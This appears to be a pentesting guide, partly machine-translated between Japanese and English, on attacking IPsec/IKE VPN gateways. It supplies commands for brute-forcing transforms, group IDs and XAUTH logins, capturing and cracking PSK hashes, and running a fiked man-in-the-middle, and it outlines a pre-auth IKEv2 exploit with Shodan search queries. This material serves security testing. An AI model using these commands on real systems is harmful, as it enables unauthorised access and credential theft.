500/udp - Pentesting IPsec/IKE VPN

Reading time: 23 minutes

基本情報

IPsec は、ネットワーク間（LAN-to-LAN）およびリモートユーザーからネットワークゲートウェイへの通信（remote access）を保護する主要な技術として広く認識されており、企業向けVPNソリューションの基盤となります。

2点間のsecurity association (SA) の確立は IKE によって管理され、認証と鍵交換のために設計されたプロトコルである ISAKMP の枠組みの下で動作します。このプロセスは複数のフェーズで進行します：

• Phase 1: 2つのエンドポイント間で安全なチャネルが作成されます。これは Pre-Shared Key (PSK) または証明書を使用して達成され、メッセージ3対を伴う main mode または aggressive mode のいずれかを使用します。
• Phase 1.5: 必須ではありませんが、Extended Authentication Phase として知られるこのフェーズでは、接続を試みるユーザーの識別を、username と password の入力を要求することで検証します。
• Phase 2: このフェーズは ESP と AH を用いたデータ保護のパラメータ交渉に専念します。Phase 1 とは異なるアルゴリズムを使用して Perfect Forward Secrecy (PFS) を確保することができ、セキュリティが強化されます。

デフォルトポート: 500/udp

一般的に公開されていることも多い: 4500/udp (NAT Traversal)

nmap を使ってサービスを検出する

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

有効なトランスフォームを見つける

IPSec の設定は、1つまたは数個のトランスフォームのみを受け入れるように用意されていることがあります。トランスフォーメーションは値の組み合わせです。各トランスフォームは、encryption algorithm として DES や 3DES、integrity algorithm として SHA や MD5、authentication type として pre-shared key、鍵の distribution algorithm として Diffie-Hellman 1 または 2、lifetime として 28800 秒 のような属性を含みます。

したがって、最初に行うべきことはサーバーが通信してくれるように 有効なトランスフォームを見つけることです。そのために、ツール ike-scan を使用できます。デフォルトでは Ike-scan は main mode で動作し、ISAKMP ヘッダを持つパケットと、ゲートウェイに対して 内部に8個のトランスフォームを含む 単一の proposal を送信します。

応答によって、エンドポイントに関するいくつかの情報を得ることができます：

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

As you can see in the previous response, there is a field called AUTH with the value PSK. This means that the vpn is configured using a preshared key (and this is really good for a pentester).
The value of the last line is also very important:

• 0 returned handshake; 0 returned notify: これはターゲットが IPsec gatewayではない ことを意味します。
• 1 returned handshake; 0 returned notify: これはターゲットが IPsec 用に設定され、IKE negotiation を実行する意志があり、提案した transform のうち1つ以上が受け入れ可能である ことを意味します（有効な transform は出力に表示されます）。
• 0 returned handshake; 1 returned notify: VPN gateways は、transform のいずれも受け入れられない場合 notify メッセージで応答します（ただし一部の gateways は応答しないため、その場合は追加の解析と改めた提案を試すべきです）。

Then, in this case we already have a valid transformation but if you are in the 3rd case, then you need to brute-force a little bit to find a valid transformation:

First of all you need to create all the possible transformations:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

そして ike-scan を使ってそれぞれを brute-force します（これには数分かかることがあります）:

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

もし brute-force がうまくいかなかったら、サーバーは有効な transforms に対してさえ handshakes なしで応答しているかもしれません。その場合、同じ brute-force を aggressive mode を使って試してみてください:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

うまくいけば、有効な変換が返されます.
同じ same attack を iker.py を使って試すことができます.
また ikeforce で変換を brute force してみることもできます:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

例: DH Group: 14 = 2048-bit MODP および 15 = 3072-bit
2 = HMAC-SHA = SHA1（この場合）。--trans の形式は $Enc,$Hash,$Auth,$DH です

Cisco は DH groups 1 および 2 の使用を避けるよう指摘しています。専門家は、リソースを大量に持つ国はこれらの弱いグループを使ったデータの暗号を容易に破ることができると考えています。これは、解読を高速化するために事前準備を行う特殊な方法によって行われます。構築には多額の費用がかかりますが、この方法を用いれば、1,024-bit 以下のような強度の低いグループを使用している場合に、これらの強国がリアルタイムで暗号化データを読み取ることが可能になります。

Server fingerprinting

その後、ike-scan を使用してデバイスのベンダーを特定しようとできます。ツールは初期の proposal を送信して再生を停止します。次に、サーバーから受信したメッセージと対応する応答パターンとの間の時間差を解析することで、pentester は VPN ゲートウェイのベンダーを特定できます。さらに、一部の VPN サーバーは IKE と共にオプションの Vendor ID (VID) payload を使用します。

必要に応じて有効な変換を指定してください（--trans を使用）

IKE がベンダーを特定すると、それを表示します:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

これはまた nmap script ike-version でも実行できます。

IKEv2固有: WatchGuard Vendor ID version fingerprinting

一部の IKEv2 デーモンは IKE_SA_INIT レスポンスに非標準の Vendor ID ペイロードを含めます。WatchGuard Fireware OS はアプライアンスのバージョン/ビルドを VID に直接エンコードしており、単一パケットの事前認証フィンガープリンティングを可能にします。

• トランスポート: UDP/500（NAT-T の場合は UDP/4500 も）
• パケット: IKE_SA_INIT レスポンスに1つ以上の Vendor ID ペイロードが含まれる
• WatchGuard 形式: 32バイトのハッシュに続き、base64 が続き、例えば VN=12.11.3 BN=719894 にデコードされる

WatchGuard VID ペイロードの生のバイト例（最後の12バイトは base64）:

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

base64 tail があるときの shell 上での素早い抽出:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

注意

• これはいかなる IKEv2 RFC の一部でもありません。公開されている/脆弱な Fireware OS バージョンの迅速なスコーピングのためのベンダーの特殊仕様として扱ってください。
• IKE_SA_INIT の返信を引き出すだけでよく、認証は不要です。

正しい ID（グループ名）を見つける

ハッシュを取得するためには、Aggressive mode をサポートする有効な transformation と正しい ID（グループ名）が必要です。おそらく有効なグループ名は分からないので、ブルートフォースする必要があります。
そのために、私は2つの方法をお勧めします：

ike-scan で ID をブルートフォースする

まずは偽の ID でリクエストを送り、ハッシュを収集しようとしてみてください（"-P"）：

ike-scan -P -M -A -n fakeID <IP>

もし no hash is returned なら、おそらくこの brute forcing の方法は機能するでしょう。 If some hash is returned, this means that a fake hash is going to be sent back for a fake ID, so this method won't be reliable ため、ID を brute-force する手法としては信頼できません。例えば、fake hash が返されることがあります（これは最近のバージョンで発生します）:

しかし前述の通り、no hash is returned の場合は、ike-scan を使って一般的な group names を brute-force してみてください。

このスクリプトは will try to brute-force possible IDs し、有効な handshake が返ってくる IDs を返します（これは有効な group name になります）。

特定の transformation を発見している場合は、それを ike-scan コマンドに追加してください。複数の transformations を発見している場合は、それらをすべて試すために新しい loop を追加して構いません（どれかが正しく動作するまで全て試すべきです）。

これらの common group names を brute-force するために、 dictionary of ikeforce or the one in seclists of common group names to brute-force them:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

Bruteforcing ID with Iker

iker.py also uses ike-scan to bruteforce possible group names. It follows it's own method to ike-scan の出力に基づいて有効な ID を見つける。

Bruteforcing ID with ikeforce

ikeforce.py is a tool that can be used to brute force IDs also. This tool will さまざまな脆弱性を試して利用しようとし、 that could be used to 有効な ID と無効な ID を区別する（false positives や false negatives が発生する可能性があるため、可能なら ike-scan method を使うことを好みます）。

By default ikeforce will send at the beginning some random ids to check the behaviour of the server and determinate the tactic to use.

• The first method is to brute-force the group names by searching for the information Dead Peer Detection DPD of Cisco systems（この情報は group name が正しい場合にのみサーバーから返されます）。
• The second method available is to check the number of responses sent to each try because sometimes more packets are sent when the correct id is used.
• The third method consist on searching for "INVALID-ID-INFORMATION" in response to incorrect ID.
• Finally, if the server does not replay anything to the checks, ikeforce will try to brute force the server and check if when the correct id is sent the server replay with some packet.
  Obviously, the goal of brute forcing the id is to get the PSK when you have a valid id. Then, with the id and PSK you will have to bruteforce the XAUTH (if it is enabled).

If you have discovered an specific transformation add it in the ikeforce command. And if you have discovered several transformations feel free to add a new loop to try them all (you should try them all until one of them is working properly).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(From the book Network Security Assessment: Know Your Network): VPN client と server 間の接続を sniffing することで有効な usernames を取得することも可能です。最初の aggressive mode パケットに client ID が平文で含まれて送信されるためです。

Capturing & cracking the hash

Finally, If you have found a valid transformation and the group name and if the aggressive mode is allowed, then you can very easily grab the crackable hash:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

ハッシュは hash.txt に保存されます。

ハッシュを crack するために、psk-crack、john（ikescan2john.py を使用）および hashcat を使用できます：

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE と Pre-Shared Key (PSK) の組み合わせは、group authentication の目的で一般的に使用されます。
この方法は XAuth (Extended Authentication) によって補強され、追加の user authentication レイヤーを導入します。こうした認証は通常、Microsoft Active Directory、RADIUS、または同等のシステムを利用します。

IKEv2 に移行すると、ユーザーを認証するために XAuth の代わりに EAP (Extensible Authentication Protocol) が利用されるという顕著な変化が見られます。この変更は、セキュアな通信プロトコルにおける認証手法の進化を示しています。

ローカルネットワークでのMitMによる認証情報の取得

そのため、fiked を使ってログインのデータをキャプチャし、デフォルトのユーザー名があるか確認できます（IKEトラフィックを fiked にリダイレクトしてsniffingする必要があり、これは ARP spoofing を使って行えます、more info）。Fiked は VPN エンドポイントとして動作し、XAuth の認証情報をキャプチャします:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

また、IPSecを使用してMitM攻撃を試み、port 500へのすべてのトラフィックをブロックしてください。もしIPSec tunnelが確立できない場合、トラフィックは平文で送信されるかもしれません。

Brute-forcing XAUTH username ad password with ikeforce

To brute force the XAUTH (有効なグループ名 id と psk を知っている場合) 、usernameまたはusernameのリストとpasswordのリストを使用できます:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

この方法では、ikeforce は username:password の各組み合わせで接続を試みます。

有効な transform を1つまたは複数見つけた場合は、前の手順と同様に使用してください。

IPSEC VPN での認証

Kali では、VPNC を使って IPsec トンネルを確立します。profiles はディレクトリ /etc/vpnc/ に配置する必要があります。これらの profiles はコマンド vpnc で起動できます。

以下のコマンドと設定は、VPNC を使用した VPN 接続の設定手順を示しています:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In this setup:

• Replace [VPN_GATEWAY_IP] with the actual IP address of the VPN gateway.
• Replace [VPN_CONNECTION_ID] with the identifier for the VPN connection.
• Replace [VPN_GROUP_SECRET] with the VPN's group secret.
• Replace [VPN_USERNAME] and [VPN_PASSWORD] with the VPN authentication credentials.
• [PID] symbolizes the process ID that will be assigned when vpnc initiates.

Ensure that actual, secure values are used to replace the placeholders when configuring the VPN.

IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs

Modern VPN appliances often expose IKEv2 on UDP/500 (and UDP/4500 for NAT-T). A common pre-authentication attack surface is the parsing of Identification (IDi) and Certificate payloads during IKE_SA_AUTH.

High-level exploitation flow when a vulnerable IKEv2 parser exists:

• Send a valid IKE_SA_INIT to negotiate transforms and complete Diffie–Hellman.
• Follow with IKE_SA_AUTH carrying an IDi that triggers the bug (e.g., an oversized Identification copied into a fixed-size stack buffer before certificate validation).
• Resulting memory corruption can yield saved-register and return-address control.
• With NX enabled but other mitigations missing (no PIE/canaries), build a ROP chain to call mprotect on a stack page and then pivot execution to injected shellcode or to a resident interpreter (e.g., /usr/bin/python3) if no /bin/sh is available.

Example default transforms observed on some IKEv2 appliances (WatchGuard Fireware OS 12.11.3):

• SHA2-256–AES(256-bit) with DH Group 14
• SHA1–AES(256-bit) with DH Group 5
• SHA1–AES(256-bit) with DH Group 2
• SHA1–3DES with DH Group 2

Practical tips

• Target both UDP/500 and UDP/4500; NAT-T servers may reply only on 4500.
• Increase receive buffer and timeouts for UDP-based scanners to avoid packet loss.
• If the service exposes custom Vendor IDs (see section above), use them to quickly fingerprint vulnerable versions before attempting any exploit traffic.

Reference Material

• PSK cracking paper
• SecurityFocus Infocus
• Scanning a VPN Implementation
• Network Security Assessment 3rd Edition

Shodan

• port:500 IKE
• port:4500 "UDP"
• udp port:500,4500 "WatchGuard"

参考資料

• YIKES: WatchGuard Fireware OS IKEv2 out-of-bounds write (CVE-2025-9242)